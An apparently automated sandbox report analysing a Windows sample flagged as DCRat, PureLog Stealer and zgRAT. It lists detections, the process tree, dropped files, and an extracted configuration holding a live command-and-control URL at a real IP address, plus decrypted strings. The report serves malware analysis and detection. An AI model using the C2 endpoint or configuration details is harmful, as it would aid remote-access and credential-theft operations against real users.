Edit tour

Windows Analysis Report
FYKrlfQrxb.exe

Overview

General Information

Sample name:	FYKrlfQrxb.exe renamed because original name is a hash value
Original sample name:	de020ea4df72a05a6d3850f89804167f.exe
Analysis ID:	1586421
MD5:	de020ea4df72a05a6d3850f89804167f
SHA1:	33a5c198a384086b85dbfc8a9820d1758204667c
SHA256:	0ce80aeb4d7735cb992efa0666b150aeb8e5bec83e5ff2389fa643c28ffd87fa
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

FYKrlfQrxb.exe (PID: 7660 cmdline: "C:\Users\user\Desktop\FYKrlfQrxb.exe" MD5: DE020EA4DF72A05A6D3850F89804167F)

cmd.exe (PID: 7760 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7812 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7828 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

zDqAlrJjQSnFyiiCVBYxCXJUQP.exe (PID: 7920 cmdline: "C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe" MD5: DE020EA4DF72A05A6D3850F89804167F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
FYKrlfQrxb.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
FYKrlfQrxb.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1655410862.00000000003B2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: FYKrlfQrxb.exe PID: 7660	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe PID: 7920	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.FYKrlfQrxb.exe.3b0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.FYKrlfQrxb.exe.3b0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.FYKrlfQrxb.exe.129b72b8.4.raw.unpack	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T04:12:08.090738+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49730	62.109.16.145	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: FYKrlfQrxb.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\YgWNpVKF.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Users\user\Desktop\fGYcdsWR.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "true", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	ReversingLabs: Detection: 82%
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	ReversingLabs: Detection: 82%
Source: C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	ReversingLabs: Detection: 82%
Source: C:\Users\Public\Downloads\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\Desktop\MvQOkJAc.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\YgWNpVKF.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\fGYcdsWR.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\hPpdZxPn.log	ReversingLabs: Detection: 15%
Source: C:\Users\user\Desktop\mnFKrmWE.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\yYLIwxgh.log	ReversingLabs: Detection: 15%
Source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	ReversingLabs: Detection: 82%

Multi AV Scanner detection for submitted file

Source: FYKrlfQrxb.exe	Virustotal: Detection: 70%			Perma Link
Source: FYKrlfQrxb.exe	ReversingLabs: Detection: 82%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\yYLIwxgh.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\hPpdZxPn.log	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Joe Sandbox ML: detected
Source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FYKrlfQrxb.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["3UGtvERC4JGtg3mGMYpFqJOAgDhV2NtjEZqB2jIpgiWzUBGDNQz0hfytFFNrh6JqahoGMkNnP9iIwZqe7eImX2Bjl66wVbIkYqYwX90mCMkh6p6qZttDxhThfEfQobRy","0d4dd7d99e6ce9433beaa102d107bf3c457d637ab6324c4d433ea2cba02454d0","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 00000000.00000002.1690622785.00000000129B7000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://62.109.16.145/protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/","ImagevideoLineserverprotectLinuxasyncTest"]]

Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Code function: 5_2_00007FFD9BF5367E CryptUnprotectData,

5_2_00007FFD9BF5367E

Source: FYKrlfQrxb.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Mail\bf3ea1d7b5d5e5	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Security\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Directory created: C:\Program Files\Windows Security\bf3ea1d7b5d5e5	Jump to behavior

Source: FYKrlfQrxb.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: xC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ~C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: nC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: vC:/Users/user\AppData\Local\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: YC:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb2 source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: lC:/Users/user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
